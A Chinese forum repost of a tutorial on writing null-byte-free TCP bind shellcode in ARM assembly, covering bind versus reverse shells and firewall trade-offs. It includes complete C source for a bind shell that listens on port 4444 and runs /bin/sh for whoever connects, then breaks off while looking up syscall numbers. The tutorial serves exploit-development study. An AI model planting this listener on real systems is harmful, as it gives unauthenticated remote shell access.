xe3h8vnd 发表于 2018-1-14 19:09:24

看我如何用ARM汇编语言编写TCP Bind Shell

一、前言在本教程中,我会向大家介绍如何编写不包含null字节、可以用于实际漏洞利用场景的TCP bind shellcode。我所提到的漏洞利用过程,指的是经过许可、合法的漏洞研究过程。如果大家对软件漏洞利用技术不是特别熟练,希望我能够引导大家将这种技术用在正当场合中。如果我们找到了某个软件漏洞(比如栈溢出漏洞),希望能够测试漏洞的可利用性,此时我们就需要切实可用的shellcode。不仅如此,我们还需要通过恰当的技术来使用shellcode,使其能够在部署了安全机制的环境中正常执行。只有这样,我们才能够演示漏洞的可利用性,也能演示恶意攻击者利用这种安全缺陷的具体方法。读完本教程后,你可以了解如何编写将shell绑定(bind)到本地端口的shellcode,也可以了解编写此类shellcode的常用手法。bind型shellcode与反弹型(reverse)shellcode差别不大,只有1~2个函数或者某些参数有所差异,其余大部分代码基本相同。编写bind或reverse shell远比创建简单的execve() shell复杂得多。如果你想从简单的开始学起,你可以先学一下如何使用汇编语言编写简单的execve() shell,然后再深入阅读本篇教程。如果你需要重温Arm汇编知识,你可以参考我之前写的ARM汇编基础系列教程,或者参考如下这张图:https://p1.ssl.qhimg.com/t0122f89493f0b242f5.png在正式开始前,我想提醒大家,我们正在编写ARM平台的shellcode,因此如果手头没有ARM环境,我们首先需要搭建相应的实验环境。你可以自己搭建一个(使用QEMU模拟Raspberry Pi),也可以直接下载我搭建的现成虚拟机(ARM LAB VM),一切准备就绪,可以开始工作了。二、背景知识首先介绍下什么是bind shell及其工作原理。使用bind shell时,我们可以在目标主机上打开某个通信端口,或者创建某个监听端(listener)。监听端接受我们发起的连接,返回能够访问目标系统的shell。https://p5.ssl.qhimg.com/t014635accc1f6b2413.png使用reverse shell时,目标主机会反连至我们的主机。这种情况下,我们的主机上需要运行一个监听端,接受目标系统的反向连接。https://p0.ssl.qhimg.com/t01e5a51a8973d60605.png这两种shell各有其优点及缺点,需要根据目标环境来权衡使用。比如,通常情况下目标防火墙会阻拦入站连接,放行出站连接,此时如果你使用的是bind shell,虽然可以bind目标系统的某个端口,但由于防火墙阻拦了入站连接,结果就是你无法成功与之建连。因此,在某些场景中,我们可以优先选择使用reverse shell,如果防火墙配置不当,允许出站连接,那么我们的shell就能正常工作。如果你知道如何编写bind shell,你应该也知道如何编写reverse shell。一旦我们理解具体工作原理,只需要做几处改动,我们就可以将已有的汇编代码改成reverse shell代码。为了将bind shell改写成汇编语言,我们首先需要熟悉bind shell的工作流程:1、创建新的TCP socket。2、将该socket绑定到某个本地端口上。3、监听连接。4、接受连接。5、将STDIN、STDOUT以及STDERR重定向至新创建的客户端socket。6、启动shell。这个过程对应的C代码如下所示,后面我们会将该代码转化为相应的汇编代码:#include <stdio.h> #include <sys/types.h>#include <sys/socket.h> #include <netinet/in.h> int host_sockid;    // socket file descriptor int client_sockid;// client file descriptor struct sockaddr_in hostaddr;            // server aka listen addressint main() {   // Create new TCP socket     host_sockid = socket(PF_INET, SOCK_STREAM, 0);   // Initialize sockaddr struct to bind socket using it     hostaddr.sin_family = AF_INET;                  // server socket type address family = internet protocol address    hostaddr.sin_port = htons(4444);                // server port, converted to network byte order    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   // listen to any address, converted to network byte order    // Bind socket to IP/Port in sockaddr struct     bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));   // Listen for incoming connections     listen(host_sockid, 2);   // Accept incoming connection     client_sockid = accept(host_sockid, NULL, NULL);   // Duplicate file descriptors for STDIN, STDOUT and STDERR     dup2(client_sockid, 0);   dup2(client_sockid, 1);   dup2(client_sockid, 2);   // Execute /bin/sh     execve("/bin/sh", NULL, NULL);   close(host_sockid);   return 0; }三、系统函数及其参数第一步是确定所需的系统函数、函数参数以及相应的系统调用号(system call number)。观察上述C代码,我们可知需要使用这几个函数:socket、bind、listen、accept、dup2以及execve。我们可以使用如下命令找到这些函数的系统调用号:pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket#define __NR_socketcall             (__NR_SYSCALL_BASE+102)#define __NR_socket               (__NR_SYSCALL_BASE+281)#define __NR_socketpair             (__NR_SYSCALL_BASE+288)#undef __NR_socketcall
页: [1]
查看完整版本: 看我如何用ARM汇编语言编写TCP Bind Shell